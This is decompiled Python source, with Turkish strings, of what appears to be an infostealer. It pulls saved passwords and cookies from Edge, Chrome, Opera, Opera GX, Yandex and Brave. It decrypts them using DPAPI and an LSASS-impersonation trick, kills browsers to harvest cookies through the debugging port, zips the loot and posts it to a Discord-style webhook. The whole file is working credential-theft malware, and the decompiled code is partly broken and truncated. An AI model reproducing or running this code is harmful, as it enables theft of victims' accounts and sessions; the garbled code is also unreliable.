expiry = str(int(cookie.expires)) if cookie.expires else str(int(time.time() + 3600))
cname = cookie.name
value = cookie.value
f.write(f'{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{cname}\t{value}\n')
except Exception:
return None
def get_edge_key():
# ***<module>.get_edge_key: Failure detected at line number 463 and instruction offset 142: Different bytecode
LOCAL_APP_DATA = os.environ['LOCALAPPDATA']
edge_key_paths = [os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge', 'User Data', 'Local State'), os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge SxS', 'User Data', 'Local State'), os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge Beta', 'User Data', 'Local State'), os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge Dev', 'User Data', 'Local State')]
key_path = None
for path in edge_key_paths:
if os.path.exists(path):
key_path = path
break
if not key_path:
return None
else:
try:
with open(key_path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
v10_key = None
if 'encrypted_key' in local_state.get('os_crypt', {}):
encoded_key = local_state['os_crypt']['encrypted_key']
try:
backup_key = base64.b64decode(encoded_key)
if backup_key.startswith(b'DPAPI'):
backup_key = backup_key[5:]
v10_key = win32crypt.CryptUnprotectData(backup_key, None, None, None, 0)[1]
except Exception as e:
log_message(f'Edge v10 backup failed: {e}')
keys = {}
if v10_key:
keys['v10'] = v10_key
if 'app_bound_encrypted_key' in local_state.get('os_crypt', {}):
log_message('Edge app_bound_encrypted_key found')
try:
encrypted_key_raw = base64.b64decode(local_state['os_crypt']['app_bound_encrypted_key'])
if encrypted_key_raw.startswith(b'APPB'):
encrypted_key = encrypted_key_raw[4:]
else:
encrypted_key = encrypted_key_raw
key_blob_user_decrypted = None
log_message('Attempting Edge two-stage extraction (SYSTEM -> USER)')
key_blob_system_decrypted = None
with impersonate_lsass() as imp_success:
if imp_success:
try:
res = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)
if res and len(res) >= 2:
key_blob_system_decrypted = res[1]
log_message('Edge Stage 1 (SYSTEM) DPAPI: SUCCESS')
try:
res2 = win32crypt.CryptUnprotectData(key_blob_system_decrypted, None, None, None, 0)
if res2 and len(res2) >= 2:
key_blob_user_decrypted = res2[1]
log_message('Edge Stage 2 (USER) DPAPI: SUCCESS')
except Exception as e:
log_message(f'Edge Stage 2 (USER) inside LSASS FAILED: {e}')
except Exception as e:
log_message(f'Edge Stage 1 (SYSTEM) DPAPI FAILED: {e}')
if not key_blob_user_decrypted:
log_message('Trying Edge user-only or deferred Stage 2 decryption...')
try:
target = key_blob_system_decrypted if key_blob_system_decrypted else encrypted_key
res3 = win32crypt.CryptUnprotectData(target, None, None, None, 0)
if res3 and len(res3) >= 2:
key_blob_user_decrypted = res3[1]
log_message('Edge USER-only/Stage 2 outside: SUCCESS')
except Exception as e:
log_message(f'Edge USER-only/Stage 2 outside FAILED: {e}')
if key_blob_user_decrypted:
parsed = parse_key_blob(key_blob_user_decrypted)
if parsed:
log_message('Edge v20 Key Blob Parsed. deriving...')
m_key = derive_v20_master_key(parsed)
if m_key:
log_message('Edge v20 Master Key derived: SUCCESS')
keys['v20'] = m_key
else:
if len(key_blob_user_decrypted) == 32:
keys['v20'] = key_blob_user_decrypted
log_message('Edge v20 Raw Key (32 bytes) found.')
except Exception as e:
log_message(f'Edge App-Bound complex extraction error: {e}')
return keys if keys else None
except Exception as e:
log_message(f'get_edge_key failed: {e}')
return None
def get_edge_cookies(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.get_edge_cookies: Failure: Compilation Error
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'edge')
except Exception:
output_dir = 'edge'
os.makedirs(output_dir, exist_ok=True)
edge_paths = [os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge Dev', 'User Data')]
edge_path = next((p for p in edge_paths if os.path.exists(p)), None)
if not edge_path:
return []
else:
edge_exe_paths = ['C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe', 'C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe']
exe_path = next((p for p in edge_exe_paths if os.path.exists(p)), None)
if not exe_path:
return []
else:
import subprocess
import time
import requests
import json
import psutil
if websocket is None:
return []
for p in psutil.process_iter(['name']):
if p.info['name'] and 'msedge.exe' in p.info['name'].lower():
p.kill()
pass
time.sleep(1)
profiles = [p for p in os.listdir(edge_path) if p.startswith('Default') or p.startswith('Profile')]
for profile_name in profiles:
profile_path = os.path.join(edge_path, profile_name)
cookies_db_path = os.path.join(profile_path, 'Network', 'Cookies')
if not os.path.isfile(cookies_db_path):
continue
else:
port = 9222
cmd = [exe_path, '--headless=new', '--disable-gpu', '--restore-last-session', f'--remote-debugging-port={port}', '--remote-allow-origins=*', f'--user-data-dir={edge_path}']
proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
time.sleep(3)
try:
res = requests.get(f'http://localhost:{port}/json', timeout=3)
ws_url = res.json()[0]['webSocketDebuggerUrl']
ws = websocket.create_connection(ws_url, timeout=3)
ws.send(json.dumps({'id': 1, 'method': 'Network.getAllCookies'}))
resp = json.loads(ws.recv())
cookies = resp.get('result', {}).get('cookies', [])
cookie_lines = []
for c in cookies:
domain = c.get('domain', '')
flag = 'TRUE' if domain.startswith('.') else 'FALSE'
path = c.get('path', '/')
secure = 'TRUE' if c.get('secure') else 'FALSE'
expiry = str(int(c.get('expires', time.time() + 3600)))
name = c.get('name', '')
value = c.get('value', '')
cookie_lines.append(f'{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{name}\t{value}')
ws.close()
if cookie_lines:
safe_profile_name = ''.join((ch for ch in profile_name if ch.isalnum() or ch in [' ', '_', '-'])).rstrip()
with open(os.path.join(output_dir, f'edge_cookies_{safe_profile_name}.txt'), 'w', encoding='utf-8') as f:
f.write('\n'.join(cookie_lines))
except Exception:
pass
proc.kill()
for p in psutil.process_iter(['name']):
if p.info['name'] and 'msedge.exe' in p.info['name'].lower():
p.kill()
continue
except Exception:
pass
return None
def get_opera_gx_cookies(output_dir=None):
# ***<module>.get_opera_gx_cookies: Failure detected at line number 539 and instruction offset 16: Different bytecode
if not browser_cookie3:
return []
else:
try:
opera_gx_paths = [os.path.join(os.getenv('APPDATA'), 'Opera Software', 'Opera GX Stable'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX', 'User Data'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX Beta', 'User Data'), os.path.join(os.getenv('APPDATA'), 'Opera Software', 'Opera GX')]
opera_gx_path = None
for path in opera_gx_paths:
if os.path.exists(path):
opera_gx_path = path
break
if not opera_gx_path:
return []
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'opera_gx_cookies.txt')
cookies_path = os.path.join(opera_gx_path, 'Network', 'Cookies')
if not os.path.exists(cookies_path):
cookies_path = os.path.join(opera_gx_path, 'Default', 'Network', 'Cookies')
local_state_path = os.path.join(opera_gx_path, 'Local State')
if not os.path.exists(cookies_path) or not os.path.exists(local_state_path):
return []
else:
save_cookies_netscape('Opera GX', cookies_path, local_state_path, output_file)
return True
except Exception:
return False
def get_chrome_cookies(output_dir=None):
# ***<module>.get_chrome_cookies: Failure detected at line number 567 and instruction offset 16: Different bytecode
if not browser_cookie3:
return []
else:
try:
chrome_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Dev', 'User Data')]
chrome_path = None
for path in chrome_paths:
if os.path.exists(path):
chrome_path = path
break
if not chrome_path:
return []
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'chrome_cookies.txt')
save_cookies_netscape('Chrome', os.path.join(chrome_path, 'Default', 'Network', 'Cookies'), os.path.join(chrome_path, 'Local State'), output_file)
except Exception:
return None
def extract_passwords(user_data_path, output_dir, prefix):
# irreducible cflow, using cdg fallback
# ***<module>.extract_passwords: Failure: Compilation Error
if not os.path.exists(user_data_path):
fallback_paths = []
if prefix == 'edge':
fallback_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge Dev', 'User Data')]
else:
if prefix == 'chrome':
fallback_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Dev', 'User Data')]
else:
if prefix == 'brave':
fallback_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Dev', 'User Data')]
user_data_path = None
for path in fallback_paths:
if os.path.exists(path):
user_data_path = path
break
if not user_data_path:
return None
local_state = os.path.join(user_data_path, 'Local State')
key = get_master_key(local_state)
os.makedirs(output_dir, exist_ok=True)
try:
profiles = os.listdir(user_data_path)
except Exception:
return None
for profile in profiles:
pass
login_db = os.path.join(user_data_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
with tempfile.TemporaryDirectory() as temp_dir:
pass
tmp_db = os.path.join(temp_dir, f'{prefix}_tmp.db')
try:
if shadow_copy:
shadow_copy(login_db, tmp_db)
else:
shutil.copy2(login_db, tmp_db)
except:
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
pass
if not enc_pass:
pass
continue
dec = decrypt_password(enc_pass, key)
if dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]'):
if not key:
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n')
except Exception:
pass
continue
cur.close()
conn.close()
if lines:
with open(os.path.join(output_dir, f'{prefix}_passwords_{profile}.txt'), 'w', encoding='utf-8') as f:
f.write('\n'.join(lines))
except Exception:
pass
continue
def extract_opera_gx(output_dir=None):
# ***<module>.extract_opera_gx: Failure detected at line number 585 and instruction offset 48: Different bytecode
opera_gx_paths = [os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera GX Stable'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera GX'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX', 'User Data'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX Beta', 'User Data')]
base_path = None
for path in opera_gx_paths:
if os.path.exists(path):
base_path = path
break
if not base_path:
return None
else:
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'sifre', 'opera_gx')
except:
output_dir = 'sifre/opera_gx'
os.makedirs(output_dir, exist_ok=True)
local_state = os.path.join(base_path, 'Local State')
key = get_master_key(local_state)
try:
profiles = os.listdir(base_path)
except Exception:
return None
for profile in profiles:
login_db = os.path.join(base_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
else:
try:
with tempfile.TemporaryDirectory() as temp_dir:
tmp_db = os.path.join(temp_dir, 'opera_gx_tmp.db')
try:
if shadow_copy:
shadow_copy(login_db, tmp_db)
else:
shutil.copy2(login_db, tmp_db)
except:
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
dec = decrypt_password(enc_pass, key)
if dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]'):
if not key:
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n\n')
cur.close()
conn.close()
if lines:
output_file = os.path.join(output_dir, f'opera_gx_passwords_{profile}.txt')
with open(output_file, 'w', encoding='utf-8') as f:
f.write(''.join(lines))
except Exception:
continue
def extract_opera_stable(output_dir=None):
# ***<module>.extract_opera_stable: Failure detected at line number 650 and instruction offset 88: Different bytecode
opera_paths = [os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Stable'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Beta'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Developer'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera', 'User Data')]
base_path = None
for path in opera_paths:
if os.path.exists(path):
base_path = path
break
if not base_path:
return None
else:
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'sifre', 'opera')
except:
output_dir = 'sifre/opera'
os.makedirs(output_dir, exist_ok=True)
local_state = os.path.join(base_path, 'Local State')
key = get_master_key(local_state)
try:
profiles = os.listdir(base_path)
except Exception:
return None
for profile in profiles:
login_db = os.path.join(base_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
else:
try:
with tempfile.TemporaryDirectory() as temp_dir:
tmp_db = os.path.join(temp_dir, 'opera_stable_tmp.db')
try:
if shadow_copy:
shadow_copy(login_db, tmp_db)
else:
shutil.copy2(login_db, tmp_db)
except:
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
dec = decrypt_password(enc_pass, key)
if (dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]')) and (not key):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n\n')
cur.close()
conn.close()
if lines:
output_file = os.path.join(output_dir, f'opera_passwords_{profile}.txt')
with open(output_file, 'w', encoding='utf-8') as f:
f.write(''.join(lines))
except Exception:
continue
def extract_yandex(output_dir=None):
# ***<module>.extract_yandex: Failure detected at line number 725 and instruction offset 124: Different bytecode
yandex_paths = [os.path.join(os.environ['LOCALAPPDATA'], 'Yandex', 'YandexBrowser', 'User Data'), os.path.join(os.environ['LOCALAPPDATA'], 'Yandex', 'YandexBrowser-Beta', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Yandex', 'YandexBrowser', 'User Data')]
yandex_path = None
for path in yandex_paths:
if os.path.exists(path):
yandex_path = path
break
if not yandex_path:
return None
else:
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'sifre', 'yandex')
except:
output_dir = 'sifre/yandex'
os.makedirs(output_dir, exist_ok=True)
local_state = os.path.join(yandex_path, 'Local State')
if not os.path.exists(local_state):
return None
else:
key = get_master_key(local_state)
try:
profiles = os.listdir(yandex_path)
except Exception:
return None
for profile in profiles:
login_db = os.path.join(yandex_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
else:
try:
with tempfile.TemporaryDirectory() as temp_dir:
tmp_db = os.path.join(temp_dir, 'yandex_tmp.db')
try:
if shadow_copy:
shadow_copy(login_db, tmp_db)
else:
shutil.copy2(login_db, tmp_db)
except:
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
dec = decrypt_password(enc_pass, key)
if (dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]')) and (not key):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n\n')
cur.close()
conn.close()
if lines:
output_file = os.path.join(output_dir, f'yandex_passwords_{profile}.txt')
with open(output_file, 'w', encoding='utf-8') as f:
f.write(''.join(lines))
except Exception:
continue
def decrypt_login_data(master_key, enc_value):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_login_data: Failure: Compilation Error
if not enc_value:
return '[Boş Veri]'
if not master_key:
if windows:
try:
return windows.crypto.dpapi.unprotect(enc_value).decode('utf-8', errors='ignore')
except:
pass
decrypted = win32crypt.CryptUnprotectData(enc_value, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
pass
return '[Master Key Yok]'
if isinstance(master_key, dict):
if enc_value.startswith(b'v20'):
m_key = master_key.get('v20')
else:
m_key = master_key.get('v10')
else:
m_key = master_key
if not m_key:
return '[Master Key Eksik]'
else:
if not enc_value.startswith(b'v10') and (not enc_value.startswith(b'v11')) and (not enc_value.startswith(b'v20')):
if windows:
try:
return windows.crypto.dpapi.unprotect(enc_value).decode('utf-8', errors='ignore')
except:
pass
else:
iv = enc_value[3:15]
payload = enc_value[15:]
try:
ciphertext = payload[-16)]
tag = payload[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if enc_value.startswith(b'v20') and len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES ERROR] {str(e)}'
decrypted = win32crypt.CryptUnprotectData(enc_value, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
pass
return '[Bilinmeyen Şifreleme]'
def process_chrome_data(output_root):
# irreducible cflow, using cdg fallback
# ***<module>.process_chrome_data: Failure: Compilation Error
chrome_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data')]
local_state_path = None
for chrome_path in chrome_paths:
test_path = os.path.join(chrome_path, 'Local State')
if os.path.exists(test_path):
local_state_path = test_path
break
if not local_state_path:
return None
with open(local_state_path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
if 'os_crypt' not in local_state:
return
master_key = get_master_key(local_state_path)
if not master_key:
return
process_chrome_passwords(output_root, master_key)
process_chrome_cookies(output_root, master_key)
except Exception:
return None
def process_chrome_passwords(output_root, master_key):
# ***<module>.process_chrome_passwords: Failure detected at line number 785 and instruction offset 86: Different bytecode
chrome_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data')]
user_data_dir = None
for path in chrome_paths:
if os.path.exists(path):
user_data_dir = path
break
if not user_data_dir:
return None
else:
passwords_output = os.path.join(output_root, 'Passwords')
os.makedirs(passwords_output, exist_ok=True)
try:
profiles = os.listdir(user_data_dir)
for profile in profiles:
login_data_path = os.path.join(user_data_dir, profile, 'Login Data')
if not os.path.exists(login_data_path):
continue
else:
try:
with tempfile.TemporaryDirectory() as temp_dir:
temp_login_path = os.path.join(temp_dir, 'LoginData')
try:
if shadow_copy:
shadow_copy(login_data_path, temp_login_path)
else:
shutil.copy2(login_data_path, temp_login_path)
except:
shutil.copy2(login_data_path, temp_login_path)
with sqlite3.connect(temp_login_path) as con:
cur = con.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
if rows:
filename = 'chrome_passwords.txt' if profile == 'Default' else f'chrome_{profile}_passwords.txt'
with open(os.path.join(passwords_output, filename), 'w', encoding='utf-8') as f:
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
password = None
if master_key and (enc_pass.startswith(b'v10') or enc_pass.startswith(b'v11') or enc_pass.startswith(b'v20')):
password = decrypt_login_data(master_key, enc_pass)
if (not password or password.startswith('[ERROR]') or password.startswith('[Çözülemedi]')) and windows:
try:
password = windows.crypto.dpapi.unprotect(enc_pass).decode('utf-8', errors='ignore')
except Exception:
pass
if not password or password.startswith('[ERROR]') or password.startswith('[Çözülemedi]'):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
password = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
password = '[Çözülemedi]'
if password and (not password.startswith('[Çözülemedi]')):
f.write(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {password}\n\n')
except Exception:
continue
except Exception:
return None
def process_chrome_cookies(output_root, master_key):
# ***<module>.process_chrome_cookies: Failure detected at line number 846 and instruction offset 86: Different bytecode
chrome_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data')]
user_data_dir = None
for path in chrome_paths:
if os.path.exists(path):
user_data_dir = path
break
if not user_data_dir:
return None
else:
try:
profiles = os.listdir(user_data_dir)
for profile in profiles:
cookies_path = os.path.join(user_data_dir, profile, 'Network', 'Cookies')
if not os.path.exists(cookies_path):
continue
else:
try:
with tempfile.TemporaryDirectory() as temp_dir:
temp_cookies_path = os.path.join(temp_dir, 'Cookies')
try:
if shadow_copy:
shadow_copy(cookies_path, temp_cookies_path)
else:
shutil.copy2(cookies_path, temp_cookies_path)
except:
shutil.copy2(cookies_path, temp_cookies_path)
with sqlite3.connect(f'{pathlib.Path(temp_cookies_path).as_uri()}?mode=ro', uri=True) as con:
cur = con.cursor()
cur.execute('SELECT host_key, name, CAST(encrypted_value AS BLOB) FROM cookies')
rows = cur.fetchall()
if rows:
filename = 'chrome_cookies.txt' if profile == 'Default' else f'chrome_{profile}_cookies.txt'
with open(os.path.join(output_root, filename), 'w', encoding='utf-8') as f:
for host, name, value in rows:
try:
decrypted = None
if value.startswith(b'v20') and master_key:
decrypted = decrypt_cookie_v20(value, master_key)
else:
if windows:
try:
decrypted = windows.crypto.dpapi.unprotect(value).decode('utf-8', errors='ignore')
except:
pass
if not decrypted:
try:
d = win32crypt.CryptUnprotectData(value, None, None, None, 0)
if d and len(d) >= 2:
decrypted = d[1].decode('utf-8', errors='ignore')
except:
pass
if not decrypted:
decrypted = '[DPAPI_FAIL]'
f.write(f'{host}\tFALSE\t/\tFALSE\t0\t{name}\t{decrypted}\n')
except Exception:
pass
except Exception:
continue
except Exception:
return None
def send_to_webhook(file_path=None, message=None, embeds=None, url=None):
# irreducible cflow, using cdg fallback
# ***<module>.send_to_webhook: Failure: Compilation Error
if url is None:
url = get_send_url()
data = {}
files = {}
if message:
if 'discord.com' in url or 'discordapp.com' in url:
data['content'] = message
else:
data['message'] = message
if embeds and ('discord.com' in url or 'discordapp.com' in url):
data['embeds'] = embeds
if file_path and os.path.exists(file_path):
f = open(file_path, 'rb')
files['file'] = (os.path.basename(file_path), f)
if files:
try:
if embeds or (message and 'content' in data):
import json
payload_dict = data.copy()
data['payload_json'] = json.dumps(payload_dict)
if 'embeds' in data:
del data['embeds']
if 'content' in data:
del data['content']
response = requests.post(url, files=files, data=data, timeout=60, verify=False)
if response.status_code not in [200, 204]:
files['file'][1].seek(0)
requests.post(url, files={'file': files['file']}, timeout=60, verify=False)
except Exception:
try:
files['file'][1].seek(0)
requests.post(url, files={'file': files['file']}, timeout=60, verify=False)
except:
pass
finally:
files['file'][1].close()
if data:
requests.post(url, json=data, timeout=30, verify=False)
except Exception:
return None
def count_cookies_and_passwords(output_root):
# ***<module>.count_cookies_and_passwords: Failure detected at line number 914 and instruction offset 26: Different bytecode
cookie_count = 0
password_count = 0
if not os.path.exists(output_root):
return (0, 0)
else:
for root, dirs, files in os.walk(output_root):
for file in files:
try:
file_path = os.path.join(root, file)
if 'Passwords' in root or 'password' in file.lower():
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
password_count += content.count('_________404_MESCİDİ__________')
if 'cookie' in file.lower():
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
lines = f.readlines()
cookie_count += len([l for l in lines if l.strip() and (not l.strip().startswith('#')) and ('\t' in l)])
if file.endswith('.txt'):
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
if '_________404_MESCİDİ__________' in content or ('URL :' in content and 'Password :' in content):
pass
else:
if 'http' in content.lower() or '.com' in content.lower():
cookie_count += len([l for l in content.split('\n') if l.strip() and '\t' in l and ('http' in l.lower())])
except Exception:
pass
return (cookie_count, password_count)
def run_cookie_extraction():
# ***<module>.run_cookie_extraction: Failure: Compilation Error
is_elevated_flag = '--elevated' in sys.argv
log_message('run_cookie_extraction started')
if not is_admin() and (not is_elevated_flag):
return (0, 0)
try:
if browser_cookie3:
log_message('browser_cookie3 module is LOADED.')
else:
log_message('browser_cookie3 module is MISSING.')
games = scan_games()
send_url = get_send_url(games)
except Exception as e:
log_message(f'Initial game scan failed: {e}')
games = {}
send_url = SEND_URL_1
computer_name = os.environ.get('COMPUTERNAME', 'UNKNOWN_PC')
user_name = os.environ.get('USERNAME', 'UNKNOWN_USER')
temp_dir = tempfile.mkdtemp()
output_root = os.path.join(temp_dir, f'Browser_{computer_name}')
os.makedirs(output_root, exist_ok=True)
os.makedirs(os.path.join(output_root, 'Passwords'), exist_ok=True)
browser_operations = [('Edge Cookies', get_edge_cookies, {'output_dir': output_root}), ('Opera Cookies', get_opera_cookies, {'output_dir': output_root}), ('Opera GX Cookies', get_opera_gx_cookies, {'output_dir': output_root}), ('Firefox Cookies', get_firefox_cookies, {'output_dir': output_root}), ('Yandex Cookies', get_yandex_cookies, {'output_dir': output_root}), ('Brave Passwords', extract_passwords, {'output_dir': os.path.join(output_root, 'Passwords'), 'user_data_path': os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser', 'User Data'), 'prefix': 'brave'}), ('Opera GX Passwords', extract_opera_gx, {'output_dir': os.path.join(output_root, 'Passwords')}), ('Yandex Passwords', extract_yandex, {'output_dir': os.path.join(output_root, 'Passwords')}), ('Chrome Data', process_chrome_data, {
for operation in browser_operations:
try:
log_message(f'Running operation: {operation[0]}')
if isinstance(operation[2], dict):
operation[1](**operation[2])
else:
operation[1](*operation[2])
except Exception as e:
log_message(f'Operation {operation[0]} failed: {e}')
cookie_count, password_count = count_cookies_and_passwords(output_root)
zip_path = None
has_files = False
for root, dirs, files in os.walk(output_root):
if files:
log_message(f'Found files in output: {files}')
has_files = True
break
if not has_files:
log_message(f'No files were extracted to {output_root}')
if has_files:
try:
log_message('Attempting to create zip file...')
zip_filename = f'Cookie_{computer_name}.zip'
zip_path = os.path.join(temp_dir, zip_filename)
create_zip_with_outputs(output_root, zip_path)
if os.path.exists(zip_path):
log_message(f'Zip created successfully at {zip_path}, size: {os.path.getsize(zip_path)}')
else:
log_message(f'Zip file NOT FOUND after creation attempt: {zip_path}')
except Exception as e:
log_message(f'Error in cookie extraction: {e}')
import traceback
log_message(traceback.format_exc())
return (cookie_count, password_count, zip_path)
def send_report(payload=None, file_path=None, url=None):
# irreducible cflow, using cdg fallback
# ***<module>.send_report: Failure: Compilation Error
if url is None:
url = get_send_url()
